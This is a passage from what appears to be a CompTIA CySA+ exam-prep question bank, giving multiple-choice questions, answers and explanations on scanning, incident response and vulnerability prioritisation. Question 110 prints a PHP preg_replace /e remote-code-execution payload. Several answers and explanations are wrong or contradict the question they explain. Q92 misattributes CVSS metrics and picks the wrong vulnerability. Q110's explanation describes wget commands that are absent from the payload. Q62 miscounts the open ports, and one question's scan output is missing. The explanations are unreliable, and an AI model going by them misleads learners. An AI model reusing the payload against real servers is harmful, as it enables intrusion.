This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region.

**NEW QUESTION 48**

An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

- A. Proprietary systems
- B. Legacy systems
- C. Unsupported operating systems
- D. Lack of maintenance windows

**Answer: A**



**Explanation:**

Proprietary systems are systems that are owned and controlled by a specific vendor or manufacturer, and that use proprietary standards or protocols that are not compatible with other systems. Proprietary systems can pose a challenge for vulnerability management, as they may not allow users to access or modify their configuration, update their software, or patch their vulnerabilities. In this case, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. This indicates that these systems and associated vulnerabilities are examples of proprietary systems as inhibitors to remediation.

**NEW QUESTION 52**

Which of the following is the best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach?

- A. Determine the sophistication of the audience that the report is meant for
- B. Include references and sources of information on the first page
- C. Include a table of contents outlining the entire report
- D. Decide on the color scheme that will effectively communicate the metrics

**Answer: A**

**Explanation:**

The best way to begin preparation for a report titled "What We Learned" regarding a recent incident involving a cybersecurity breach is to determine the sophistication of the audience that the report is meant for. The sophistication of the audience refers to their level of technical knowledge, understanding, or interest in cybersecurity topics. Determining the sophistication of the audience can help tailor the report content, language, tone, and format to suit their needs and expectations. For example, a report for executive management may be more concise, high-level, and business-oriented than a report for technical staff or peers.

**NEW QUESTION 57**

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:



Which of the following tuning recommendations should the security analyst share?

- A. Set an HttpOnly flag to force communication by HTTPS
- B. Block requests without an X-Frame-Options header
- C. Configure an Access-Control-Allow-Origin header to authorized domains
- D. Disable the cross-origin resource sharing header

**Answer: B**

**Explanation:**

The output shows that the web application is vulnerable to clickjacking attacks, which allow an attacker to overlay a hidden frame on top of a legitimate page and trick users into clicking on malicious links. Blocking requests without an X-Frame-Options header can prevent this attack by instructing the browser to not display the page within a frame.

**NEW QUESTION 62**

A security audit for unsecured network services was conducted, and the following output was generated:

```
#nmap --top-ports 7 192.29.0.5
```

PORT	STATE	SERVICE
21	closed	ftp
22	open	ssh
23	filtered	telnet
636	open	ldaps
1723	open	pptp
443	closed	https
3389	closed	ms-term-server

Which of the following services should the security team investigate further? (Select two).

- A. 21
- B. 22
- C. 23
- D. 636
- E. 1723
- F. 3389

**Answer:** CD

**Explanation:**

The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices<sup>1</sup>. The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service. Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636. Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host<sup>23</sup>. Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections. Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 636<sup>2</sup>.

**NEW QUESTION 67**

A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

- A. Weaponization
- B. Reconnaissance
- C. Delivery
- D. Exploitation

**Answer:** D

**Explanation:**

The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where attackers take advantage of the vulnerabilities they have discovered in previous stages to further infiltrate a target's network and achieve their objectives. In this case, the malicious actor has gained access to an internal network by means of social engineering and does not want to lose access in order to continue the attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain. Official References: <https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html>

**NEW QUESTION 69**

Which of the following best describes the key elements of a successful information security program?

- A. Business impact analysis, asset and change management, and security communication plan
- B. Security policy implementation, assignment of roles and responsibilities, and information asset classification
- C. Disaster recovery and business continuity planning, and the definition of access control requirements and human resource policies
- D. Senior management organizational structure, message distribution standards, and procedures for the operation of security management systems

**Answer:** B

**Explanation:**

A successful information security program consists of several key elements that align with the organization's goals and objectives, and address the risks and threats to its information assets.  
 ? Security policy implementation: This is the process of developing, documenting, and enforcing the rules and standards that govern the security of the organization's information assets. Security policies define the scope, objectives, roles, and responsibilities of the security program, as well as the acceptable use, access control, incident response, and compliance requirements for the information assets.

? Assignment of roles and responsibilities: This is the process of identifying and assigning the specific tasks and duties related to the security program to the appropriate individuals or groups within the organization. Roles and responsibilities define who is accountable, responsible, consulted, and informed for each security activity, such as risk assessment, vulnerability management, threat detection, incident response, auditing, and reporting.

? Information asset classification: This is the process of categorizing the information assets based on their value, sensitivity, and criticality to the organization. Information asset classification helps to determine the appropriate level of protection and controls for each asset, as well as the impact and likelihood of a security breach or loss. Information asset classification also facilitates the prioritization of security resources and efforts based on the risk level of each asset.

**NEW QUESTION 74**

A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?

- A. Code analysis
- B. Static analysis
- C. Reverse engineering
- D. Fuzzing

**Answer: C**

**Explanation:**

Reverse engineering is a technique that involves analyzing a binary file to understand its structure, functionality, and behavior. Reverse engineering can help security analysts perform malware analysis, vulnerability research, exploit development, and software debugging. Reverse engineering can be done using various tools, such as disassemblers, debuggers, decompilers, and hex editors.

**NEW QUESTION 79**

An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason the firewall feed stopped working?

- A. The firewall service account was locked out.
- B. The firewall was using a paid feed.
- C. The firewall certificate expired.
- D. The firewall failed open.

**Answer: C**

**Explanation:**

The firewall certificate expired. If the firewall uses a certificate to authenticate and encrypt the feed, and the certificate expires, the feed will stop working until the certificate is renewed or replaced. This can affect the data enrichment process and the security analysis. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161.

**NEW QUESTION 80**

Which of the following is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence?

- A. Risk register
- B. Vulnerability assessment
- C. Penetration test
- D. Compliance report

**Answer: A**

**Explanation:**

A risk register is a useful tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence. A risk register is a document that records the details of all the risks identified in a project or an organization, such as their sources, causes, consequences, probabilities, impacts, and mitigation strategies. A risk register can help the security team to prioritize the risks based on their severity and urgency, and to monitor and control them throughout the project or the organization's lifecycle<sup>12</sup>. A vulnerability assessment, a penetration test, and a compliance report are all methods or outputs of identifying and evaluating the threats and vulnerabilities, but they are not tools for mapping, tracking, and mitigating them<sup>345</sup>. References: What is a Risk Register? | Smartsheet, Risk Register: Definition & Example, Vulnerability Assessment vs. Penetration Testing: What's the Difference?, What is a Penetration Test and How Does It Work?, What is a Compliance Report? | Definition, Types, and Examples

**NEW QUESTION 85**

Which of the following is an important aspect that should be included in the lessons-learned step after an incident?

- A. Identify any improvements or changes in the incident response plan or procedures
- B. Determine if an internal mistake was made and who did it so they do not repeat the error
- C. Present all legal evidence collected and turn it over to law enforcement
- D. Discuss the financial impact of the incident to determine if security controls are well spent

**Answer: A**

**Explanation:**

An important aspect that should be included in the lessons-learned step after an incident is to identify any improvements or changes in the incident response plan or procedures. The lessons-learned step is a process that involves reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying any improvements or changes in the incident response plan or procedures can help enhance the security posture, readiness, or capability of the organization for future incidents

**NEW QUESTION 90**

A Chief Information Security Officer has outlined several requirements for a new vulnerability scanning project:

- . Must use minimal network bandwidth
- . Must use minimal host resources
- . Must provide accurate, near real-time updates



. Must not have any stored credentials in configuration on the scanner  
 Which of the following vulnerability scanning methods should be used to best meet these requirements?

- A. Internal
- B. Agent
- C. Active
- D. Uncredentialed

**Answer:** B

**Explanation:**  
 Agent-based vulnerability scanning is a method that uses software agents installed on the target systems to scan for vulnerabilities. This method meets the requirements of the project because it uses minimal network bandwidth and host resources, provides accurate and near real-time updates, and does not require any stored credentials on the scanner. References: What Is Vulnerability Scanning? Types, Tools and Best Practices, Section: Types of vulnerability scanning; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 154.

**NEW QUESTION 92**  
 A company recently removed administrator rights from all of its end user workstations. An analyst uses CVSSv3.1 exploitability metrics to prioritize the vulnerabilities for the workstations and produces the following information:

Vulnerability name	CVSSv3.1 exploitability metrics
sweet.bike	AV:N AC:H PR:H UI:R
vote.4p	AV:N AC:H PR:H UI:N
nessie.explosion	AV:L AC:L PR:H UI:R
great.skills	AV:N AC:L PR:N UI:N

Which of the following vulnerabilities should be prioritized for remediation?

- A. nessie.explosion
- B. vote.4p
- C. sweet.bike
- D. great.skills

**Answer:** A

**Explanation:**  
 nessie.explosion should be prioritized for remediation, as it has the highest CVSSv3.1 exploitability score of 8.6. The exploitability score is a sub-score of the CVSSv3.1 base score, which reflects the ease and technical means by which the vulnerability can be exploited. The exploitability score is calculated based on four metrics: Attack Vector, Attack Complexity, Privileges Required, and User Interaction. The higher the exploitability score, the more likely and feasible the vulnerability is to be exploited by an attacker12. nessie.explosion has the highest exploitability score because it has the lowest values for all four metrics: Network (AV:N), Low (AC:L), None (PR:N), and None (UI:N). This means that the vulnerability can be exploited remotely over the network, without requiring any user interaction or privileges, and with low complexity. Therefore, nessie.explosion poses the greatest threat to the end user workstations, and should be remediated first. vote.4p, sweet.bike, and great.skills have lower exploitability scores because they have higher values for some of the metrics, such as Adjacent Network (AV:A), High (AC:H), Low (PR:L), or Required (UI:R). This means that the vulnerabilities are more difficult or less likely to be exploited, as they require physical proximity, user involvement, or some privileges34. References: CVSS v3.1 Specification Document - FIRST, NVD - CVSS v3 Calculator, CVSS v3.1 User Guide - FIRST, CVSS v3.1 Examples - FIRST

**NEW QUESTION 94**  
 A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?

- A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities
- B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the

investigation

- C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation
- D. Notify the SOC manager for awareness after confirmation that the activity was intentional

**Answer: B**

**Explanation:**

The best way to ensure that the investigation complies with HR or privacy policies is to ensure that the case details do not reflect any user-identifiable information, such as name, email address, phone number, or employee ID. This can help protect the privacy and confidentiality of the user and prevent any potential discrimination or retaliation. Additionally, password protecting the evidence and restricting access to personnel related to the investigation can help preserve the integrity and security of the evidence and prevent any unauthorized or accidental disclosure or modification.

**NEW QUESTION 98**

Which of following would best mitigate the effects of a new ransomware attack that was not properly stopped by the company antivirus?

- A. Install a firewall.
- B. Implement vulnerability management.
- C. Deploy sandboxing.
- D. Update the application blocklist.

**Answer: C**

**Explanation:**

Sandboxing is a technique that isolates potentially malicious programs or files in a controlled environment, preventing them from affecting the rest of the system. It can help mitigate the effects of a new ransomware attack by preventing it from encrypting or deleting important data or spreading to other devices. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 202; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 210.

**NEW QUESTION 100**

A security analyst obtained the following table of results from a recent vulnerability assessment that was conducted against a single web server in the environment:

Finding	Impact	Credential required?	Complexity
Self-signed certificate in use	High	No	High
Old copyright date	Low	No	N/A
All user input accepted on forms	High	No	Low
Full error messages displayed	Medium	No	Low
Control panel login open to public	High	Yes	Medium

Which of the following should be completed first to remediate the findings?

- A. Ask the web development team to update the page contents
- B. Add the IP address allow listing for control panel access
- C. Purchase an appropriate certificate from a trusted root CA
- D. Perform proper sanitization on all fields

**Answer: D**

**Explanation:**

The first action that should be completed to remediate the findings is to perform proper sanitization on all fields. Sanitization is a process that involves validating, filtering, or encoding any user input or data before processing or storing it on a system or application. Sanitization can help prevent various types of attacks, such as cross-site scripting (XSS), SQL injection, or command injection, that exploit unsanitized input or data to execute malicious scripts, commands, or queries on a system or application. Performing proper sanitization on all fields can help address the most critical and common vulnerability found during the vulnerability assessment, which is XSS.

**NEW QUESTION 105**

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

- A. MITRE ATTACK
- B. Cyber Kill Cham
- C. OWASP
- D. STIXTAXII

**Answer: A**

**Explanation:**

MITRE ATT&CK is a framework and knowledge base that describes the tactics, techniques, and procedures (TTPs) used by various adversaries in cyberattacks. MITRE ATT&CK can help security analysts compare TTPs between different known adversaries of an organization, as well as identify patterns, gaps, or trends in adversary behavior. MITRE ATT&CK can also help security analysts improve threat detection, analysis, and response capabilities, as well as share threat intelligence with other organizations or communities

**NEW QUESTION 107**

A security analyst noticed the following entry on a web server log:

Warning: fopen (http://127.0.0.1:16) :

failed to open stream:

Connection refused in /hj/var/www/showimage.php on line 7

Which of the following malicious activities was most likely attempted?

- A. XSS
- B. CSRF
- C. SSRF
- D. RCE

**Answer: C**

**Explanation:**

The malicious activity that was most likely attempted is SSRF (Server-Side Request Forgery). This is a type of attack that exploits a vulnerable web application to make requests to other resources on behalf of the web server. In this case, the attacker tried to use the fopen function to access the local loopback address (127.0.0.1) on port 16, which could be a service that is not intended to be exposed to the public. The connection was refused, indicating that the port was closed or filtered. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 2: Software and Application Security, page 66.

**NEW QUESTION 110**

During the log analysis phase, the following suspicious command is detected-

```
<?php preg_replace('/./e', 'system("ping -c 4 10.0.0.1");', ''); ?>
```

Which of the following is being attempted?

- A. Buffer overflow
- B. RCE
- C. ICMP tunneling
- D. Smurf attack

**Answer: B**

**Explanation:**

RCE stands for remote code execution, which is a type of attack that allows an attacker to execute arbitrary commands on a target system. The suspicious command in the question is an example of RCE, as it tries to download and execute a malicious file from a remote server using the wget and chmod commands. A buffer overflow is a type of vulnerability that occurs when a program writes more data to a memory buffer than it can hold, potentially overwriting other memory locations and corrupting the program's execution. ICMP tunneling is a technique that uses ICMP packets to encapsulate and transmit data that would normally be blocked by firewalls or filters. A smurf attack is a type of DDoS attack that floods a network with ICMP echo requests, causing all devices on the network to reply and generate a large amount of traffic. Verified References: What Is Buffer Overflow? Attacks, Types & Vulnerabilities - Fortinet1, What Is a Smurf Attack? Smurf DDoS Attack | Fortinet2, exploit - Interpreting CVE ratings: Buffer Overflow vs. Denial of ...3

**NEW QUESTION 112**

Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy. Which of the following authentication methods should the analyst use?

- A. MFA
- B. User and password
- C. PAM
- D. Key pair

**Answer: D**

**Explanation:**

Key pair authentication is a method of using a public and private key to securely access cloud resources, such as downloading the configuration of assets from a cloud tenancy. Key pair authentication is more secure than user and password or PAM, and does not require an additional factor like MFA. References: Authentication Methods - Configuring Tenant-Wide Settings in Azure ..., Cloud Foundation - Oracle Help Center

**NEW QUESTION 113**

A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?

- A. External
- B. Agent-based
- C. Non-credentialed
- D. Credentialed

**Answer: B**

**Explanation:**

Agent-based vulnerability scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based vulnerability scanning can reduce network traffic, as the scans are performed locally and only the results are transmitted over the network. Agent-based vulnerability scanning can also provide more accurate and up-to-date results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.

**NEW QUESTION 114**

A vulnerability management team is unable to patch all vulnerabilities found during their weekly scans. Using the third-party scoring system described below, the



team patches the most urgent vulnerabilities:

Metric	Description
Cobain	Exploitable by malware
Grohl	Externally facing
Novo	Exploit PoC available
Smear	Older than 2 years
Channing	Vulnerability research activity

Additionally, the vulnerability management team feels that the metrics Smear and Channing are less important than the others, so these will be lower in priority. Which of the following vulnerabilities should be patched first, given the above third-party scoring system?

A. InLoud: Cobain: Yes Grohl: No Novo: Yes Smear: Yes Channing: No B.TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No C.ENamless: Cobain: Yes Grohl: No Novo: Yes Smear: No Channing: No D.PBleach: Cobain: Yes Grohl: No Novo: No Smear: No Channing: Yes

**Answer: B**

**Explanation:**

The vulnerability that should be patched first, given the above third-party scoring system, is:

TSpirit: Cobain: Yes Grohl: Yes Novo: Yes Smear: No Channing: No

This vulnerability has three out of five metrics marked as Yes, which indicates a high severity level. The metrics Cobain, Grohl, and Novo are more important than Smear and Channing, according to the vulnerability management team. Therefore, this vulnerability poses a greater risk than the other vulnerabilities and should be patched first.

**NEW QUESTION 119**

An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

- A. PCI Security Standards Council
- B. Local law enforcement
- C. Federal law enforcement
- D. Card issuer

**Answer: D**

**Explanation:**

Under the terms of PCI DSS, an organization that has experienced a breach of customer transactions should report the breach to the card issuer. The card issuer is the financial institution that issues the payment cards to the customers and that is responsible for authorizing and processing the transactions. The card issuer may have specific reporting requirements and procedures for the organization to follow in the event of a breach. The organization should also notify other parties that may be affected by the breach, such as customers, law enforcement, or regulators, depending on the nature and scope of the breach. Official References: <https://www.pcisecuritystandards.org/>

**NEW QUESTION 120**

An analyst is conducting monitoring against an authorized team that win perform adversarial techniques. The analyst interacts with the team twice per day to set the stage for the techniques to be used. Which of the following teams is the analyst a member of?

- A. Orange team
- B. Blue team
- C. Red team
- D. Purple team

**Answer: A**

**Explanation:**

The correct answer is A. Orange team.

An orange team is a team that is involved in facilitation and training of other teams in cybersecurity. An orange team assists the yellow team, which is the management or leadership team that oversees the cybersecurity strategy and governance of an organization. An orange team helps the yellow team to understand the cybersecurity risks and challenges, as well as the roles and responsibilities of other teams, such as the red, blue, and purple teams<sup>12</sup>.

In this scenario, the analyst is conducting monitoring against an authorized team that will perform adversarial techniques. This means that the analyst is observing and evaluating the performance of another team that is simulating real-world attacks against the organization's systems or networks. This could be either a red team or a purple team, depending on whether they are working independently or collaboratively with the defensive team<sup>345</sup>.

The analyst interacts with the team twice per day to set the stage for the techniques to be used. This means that the analyst is providing guidance and feedback to the team on how to conduct their testing and what techniques to use. This could also involve setting up scenarios, objectives, rules of engagement, and success criteria for the testing. This implies that the analyst is facilitating and training the team to improve their skills and capabilities in cybersecurity<sup>12</sup>.

Therefore, based on these descriptions, the analyst is a member of an orange team, which is involved in facilitation and training of other teams in cybersecurity. The other options are incorrect because they do not match the role and function of the analyst in this scenario.

Option B is incorrect because a blue team is a defensive security team that monitors and protects the organization's systems and networks from real or simulated attacks. A blue team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather defends against them<sup>345</sup>.

Option C is incorrect because a red team is an offensive security team that discovers and exploits vulnerabilities in the organization's systems or networks by simulating real-world attacks. A red team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather performs them<sup>345</sup>.

Option D is incorrect because a purple team is not a separate security team, but rather a collaborative approach between the red and blue teams to improve the organization's overall security. A purple team does not conduct monitoring against an authorized team that will perform adversarial techniques, but rather works with them<sup>345</sup>.

References:

- ? 1 Infosec Color Wheel & The Difference Between Red & Blue Teams
- ? 2 The colors of cybersecurity - UW—Madison Information Technology
- ? 3 Red Team vs. Blue Team vs. Purple Team Compared - U.S. Cybersecurity
- ? 4 Red Team vs. Blue Team vs. Purple Team: What's The Difference? | Varonis
- ? 5 Red, blue, and purple teams: Cybersecurity roles explained | Pluralsight Blog

**NEW QUESTION 125**

Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

- A. Enrich the SIEM-ingested data to include all data required for triage.
- B. Schedule a task to disable alerting when vulnerability scans are executing.
- C. Filter all alarms in the SIEM with low severity.
- D. Add a SOAR rule to drop irrelevant and duplicated notifications.

**Answer:** B

**NEW QUESTION 128**

While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems. Which of the following should be checked first?

- A. If appropriate logging levels are set
- B. NTP configuration on each system
- C. Behavioral correlation settings
- D. Data normalization rules

**Answer:** B

**Explanation:**

The NTP configuration on each system should be checked first, as it is essential for ensuring accurate and consistent time stamps across different systems. NTP is the Network Time Protocol, which is used to synchronize the clocks of computers over a network. NTP uses a hierarchical system of time sources, where each level is assigned a stratum number. The most accurate time sources, such as atomic clocks or GPS receivers, are at stratum 0, and the devices that synchronize with them are at stratum 1, and so on. NTP clients can query multiple NTP servers and use algorithms to select the best time source and adjust their clocks accordingly<sup>1</sup>. If the NTP configuration is not consistent or correct on each system, the time stamps of the logs and events may differ, making it difficult to correlate incidents across different systems. This can affect the security analysis and correlation of events, as well as the compliance and auditing of the network<sup>23</sup>.

References: How the Windows Time Service Works, Time Synchronization - All You Need To Know, What is SIEM? | Microsoft Security

**NEW QUESTION 129**

During an incident, analysts need to rapidly investigate by the investigation and leadership teams. Which of the following best describes how PII should be safeguarded during an incident?

- A. Implement data encryption and close the data so only the company has access.
- B. Ensure permissions are limited in the investigation team and encrypt the data.
- C. Implement data encryption and create a standardized procedure for deleting data that is no longer needed.
- D. Ensure that permissions are open only to the company.

**Answer:** B

**Explanation:**

The best option to safeguard PII during an incident is to ensure permissions are limited in the investigation team and encrypt the data. This is because limiting permissions reduces the risk of unauthorized access or leakage of sensitive data, and encryption protects the data from being read or modified by anyone who does not have the decryption key. Option A is not correct because closing the data may hinder the investigation process and prevent collaboration with other parties who may need access to the data. Option C is not correct because deleting data that is no longer needed may violate legal or regulatory requirements for data retention, and may also destroy potential evidence for the incident. Option D is not correct because opening permissions to the company may expose the data to more people than necessary, increasing the risk of compromise or misuse.

References: CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition, Chapter 4, "Data Protection and Privacy Practices", page 195; CompTIA CySA+ Certification Exam Objectives Version 4.0, Domain 4.0 "Compliance and Assessment", Objective 4.1 "Given a scenario, analyze data as part of a security incident", Sub-objective "Data encryption", page 23

CompTIA CySA+ Study Guide: Exam CS0-002, 2nd Edition : CompTIA CySA+ Certification Exam Objectives Version 4.0.pdf)

**NEW QUESTION 134**

The security operations team is required to consolidate several threat intelligence feeds due to redundant tools and portals. Which of the following will best achieve the goal and maximize results?

- A. Single pane of glass
- B. Single sign-on
- C. Data enrichment
- D. Deduplication

**Answer:** D

**Explanation:**

Deduplication is a process that involves removing any duplicate or redundant data or information from a data set or source. Deduplication can help consolidate several

threat intelligence feeds by eliminating any overlapping or repeated indicators of compromise (IoCs), alerts, reports, or recommendations. Deduplication can also help reduce the volume and complexity of threat intelligence data, as well as improve its quality, accuracy, or relevance.

**NEW QUESTION 135**

During an incident, a security analyst discovers a large amount of PII has been emailed externally from an employee to a public email address. The analyst finds that the external email is the employee's personal email. Which of the following should the analyst recommend be done first?

- A. Place a legal hold on the employee's mailbox.
- B. Enable filtering on the web proxy.
- C. Disable the public email access with CASB.
- D. Configure a deny rule on the firewall.

**Answer:** A

**Explanation:**

Placing a legal hold on the employee's mailbox is the best action to perform first, as it preserves all mailbox content, including deleted items and original versions of modified items, for potential legal or forensic purposes. A legal hold is a feature that allows an administrator to retain mailbox data for a user indefinitely or for a specified period, regardless of the user's actions or retention policies. A legal hold can be applied to a mailbox using Litigation Hold or In-Place Hold in Exchange Server or Exchange Online. A legal hold can help to ensure that evidence of data exfiltration or other malicious activities is not lost or tampered with, and that the organization can comply with any legal or regulatory obligations. The other actions are not as urgent or effective as placing a legal hold on the employee's mailbox, as they do not address the immediate threat of data loss or compromise. Enabling filtering on the web proxy may help to prevent some types of data exfiltration or malicious traffic, but it does not help to recover or preserve the data that has already been emailed externally. Disabling the public email access with CASB (Cloud Access Security Broker) may help to block or monitor the use of public email services by employees, but it does not help to recover or preserve the data that has already been emailed externally. Configuring a deny rule on the firewall may help to block or monitor the network traffic from the employee's laptop, but it does not help to recover or preserve the data that has already been emailed externally.

**NEW QUESTION 138**

An organization was compromised, and the usernames and passwords of all employees were leaked online. Which of the following best describes the remediation that could reduce the impact of this situation?

- A. Multifactor authentication
- B. Password changes
- C. System hardening
- D. Password encryption

**Answer:** A

**Explanation:**

Multifactor authentication (MFA) is a security method that requires users to provide two or more pieces of evidence to verify their identity, such as a password, a PIN, a fingerprint, or a one-time code. MFA can reduce the impact of a credential leak because even if the attackers have the usernames and passwords of the employees, they would still need another factor to access the organization's systems and resources. Password changes, system hardening, and password encryption are also good security practices, but they do not address the immediate threat of compromised credentials.

References: CompTIA CySA+ Certification Exam Objectives, [What Is Multifactor Authentication (MFA)?]

**NEW QUESTION 139**

Which of the following best describes the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m.?

- A. SLA
- B. LOI
- C. MOU
- D. KPI

**Answer:** A

**Explanation:**

SLA (Service Level Agreement) is the best term to describe the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m., as it reflects the agreement between a service provider and a customer that specifies the services, quality, availability, and responsibilities that are agreed upon. An SLA is a common type of document that is used in various industries and contexts, such as IT, telecom, cloud computing, or outsourcing. An SLA typically includes metrics and indicators to measure the performance and quality of the service, such as uptime, response time, or resolution time. An SLA also defines the consequences or remedies for any breaches or failures of the service, such as penalties, refunds, or credits. An SLA can help to manage customer expectations, formalize communication, improve productivity, and strengthen relationships. The other terms are not as accurate as SLA, as they describe different types of documents or concepts. LOI (Letter of Intent) is a document that outlines the main terms and conditions of a proposed agreement between two or more parties, before a formal contract is signed. An LOI is usually non-binding and expresses the intention or interest of the parties to enter into a future agreement. An LOI can help to clarify the key points of a deal, facilitate negotiations, or demonstrate commitment. MOU (Memorandum of Understanding) is a document that describes a mutual agreement or cooperation between two or more parties, without creating any legal obligations or commitments. An MOU is usually more formal than an LOI, but less formal than a contract. An MOU can help to establish a common ground, define roles and responsibilities, or outline expectations and goals. KPI (Key Performance Indicator) is a concept that refers to a measurable value that demonstrates how effectively an organization or individual is achieving its key objectives or goals. A KPI is usually quantifiable and specific, such as revenue growth, customer satisfaction, or employee retention. A KPI can help to track progress, evaluate performance, or identify areas for improvement.

**NEW QUESTION 141**

An incident response team is working with law enforcement to investigate an active web server compromise. The decision has been made to keep the server running and to implement compensating controls for a period of time. The web service must be accessible from the internet via the reverse proxy and must connect to a database server. Which of the following compensating controls will help contain the adversary while meeting the other requirements? (Select two).

- A. Drop the tables on the database server to prevent data exfiltration.
- B. Deploy EDR on the web server and the database server to reduce the adversaries capabilities.
- C. Stop the httpd service on the web server so that the adversary can not use web exploits
- D. use micro segmentation to restrict connectivity to/from the web and database servers.
- E. Comment out the HTTP account in the / etc/passwd file of the web server
- F. Move the database from the database server to the web server.



**Answer:** BD

**Explanation:**

Deploying EDR on the web server and the database server to reduce the adversaries capabilities and using micro segmentation to restrict connectivity to/from the web and database servers are two compensating controls that will help contain the adversary while meeting the other requirements. A compensating control is a security measure that is implemented to mitigate the risk of a vulnerability or an attack when the primary control is not feasible or effective. EDR stands for Endpoint Detection and Response, which is a tool that monitors endpoints for malicious activity and provides automated or manual response capabilities. EDR can help contain the adversary by detecting and blocking their actions, such as data exfiltration, lateral movement, privilege escalation, or command execution. Micro segmentation is a technique that divides a network into smaller segments based on policies and rules, and applies granular access controls to each segment. Micro segmentation can help contain the adversary by isolating the web and database servers from other parts of the network, and limiting the traffic that can flow between them. Official References:

? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>

? <https://www.comptia.org/certifications/cybersecurity-analyst>

? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 142**

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

- A. Testing
- B. Implementation
- C. Validation
- D. Rollback

**Answer:** C

**Explanation:**

The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing.

**NEW QUESTION 147**

A security analyst needs to provide evidence of regular vulnerability scanning on the company's network for an auditing process. Which of the following is an example of a tool that can produce such evidence?

- A. OpenVAS
- B. Burp Suite
- C. Nmap
- D. Wireshark

**Answer:** A

**Explanation:**

OpenVAS is an open-source tool that performs comprehensive vulnerability scanning and assessment on the network. It can generate reports and evidence of the scan results, which can be used for auditing purposes. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 5, page 199; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 207.

**NEW QUESTION 152**

